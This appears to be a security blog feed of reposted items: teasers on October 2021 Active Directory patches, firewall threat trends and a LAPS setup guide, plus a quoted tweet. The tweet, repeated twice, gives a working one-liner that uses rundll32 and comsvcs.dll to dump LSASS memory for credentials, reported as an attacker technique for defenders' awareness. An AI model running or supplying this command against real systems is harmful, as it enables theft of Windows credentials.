Written by Rafael Silva

Three Active Directory vulnerabilities were addressed in the October 2021 Updates

Three Active Directory vulnerabilities were addressed in the October 2021 Updates https://ift.tt/3lzouBa When looking at the October 12th, 2021 updates today, I noticed three updates that specifically address vulnerabilities in Active Directory Domain Services and DNS. These vulnerabilities affect domain controllers at the heart of many networking infrastructure environments. About the vulnerabilities Three vulnerabilities were […]

Written by Rafael Silva

Threat Trends: Firewall

Threat Trends: Firewall https://ift.tt/3G1Zmva These days, protecting the network perimeter is a foregone conclusion. However, there is no longer a monolithic perimeter—there are often multiple perimeters to protect. Unauthorized attempts to cross perimeters are frequent, and the need to defend against threats is critical to protect your assets. In any perimeter defense a key component […]

Written by Rafael Silva

Step-by-Step Guide: How to Configure Microsoft Local Administrator Password Solution (LAPS)

Step-by-Step Guide: How to Configure Microsoft Local Administrator Password Solution (LAPS) https://ift.tt/3BWW3TC In a business, when setting up new servers or computers, most of the time administrators are using one common password for the local administrator account. This account is usually used as a backdoor by administrators for software installation/uninstallation, to log in when domain […]

Written by Rafael Silva

#CredentialDumping without Mimikatz Used to see this used years ago by APT groups, now seeing ransomware, pentesters and other TAs use this non stop 😭 rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id Temp\.dmp full;Wait-Process -Id (Get-Process rundll32).id https://t.co/PH3SvDF7kZ

#CredentialDumping without Mimikatz Used to see this used years ago by APT groups, now seeing ransomware, pentesters and other TAs use this non stop 😭 rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id Temp\<NAME>.dmp full;Wait-Process -Id (Get-Process rundll32).id https://t.co/PH3SvDF7kZ from inversecos twit https://twitter.com/inversecos/status/1450331995112804358